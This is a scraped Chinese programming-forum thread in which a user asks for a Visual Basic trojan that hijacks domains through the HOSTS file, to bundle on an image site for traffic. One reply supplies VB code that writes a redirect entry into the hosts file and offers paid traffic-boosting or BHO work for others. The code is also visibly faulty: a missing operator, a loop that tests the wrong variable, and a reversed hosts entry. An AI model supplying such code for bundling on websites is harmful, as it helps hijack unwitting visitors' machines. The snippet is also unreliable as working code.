首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > VB >

有没有VB编纂的修改HOSTS文件的小木马

2012-12-31 
有没有VB编写的修改HOSTS文件的小木马?就是VB编写的HOSTS域名劫持木马。我想弄个研究下,捆绑在图片站上,给

有没有VB编写的修改HOSTS文件的小木马?
就是VB编写的HOSTS域名劫持木马。
我想弄个研究下,捆绑在图片站上,给我的站带来点流量。

主要是研究下那个代码,有写过的贴出来看看,谢谢!
[解决办法]
lz要做木马,不厚道有没有VB编纂的修改HOSTS文件的小木马
[解决办法]
hosts文件只是一个不带后缀名的文本文件而已,直接用文本文件打开就行了
[解决办法]
楼主好可怜,被惨无人道的围观,还有楼上不断扔砖。。。有没有VB编纂的修改HOSTS文件的小木马
[解决办法]
行,我给你代码吧.

纯技术讨论.

dim Buff as string,LineBuff() as string
dim I as long,IsEdit as boolean

open "hosts" for binary as #1
    buff=space(lof(1))
    get #1,,buff

    if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then  '修改已有转向的情况
         isedit=true
        linebuff()=split(buff,vbcrlf)
        for i=0 to ubound(linebuff)
            if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then
                linebuff(i)="www.m5home.com 192.168.1.1"
                exit for
            end if
        next
    else              '没有这个转向,则直接添加
         buff=buff & vbcrlf "www.m5home.com 192.168.1.1"
    end if
    if isedit then
        buff=join(linebuff,vbcrlf)
    end if
    put #1,1,buff
close #1

因为我想到了另一种用途,就是给别人写BHO或者类似的单子,刷流量用的,而不自己用,简单来说就是给别人写单子.

另外我看再不给你写,你就快要开始骂街了.......力所能及,就写写吧,就当为论坛作贡献......

热点排行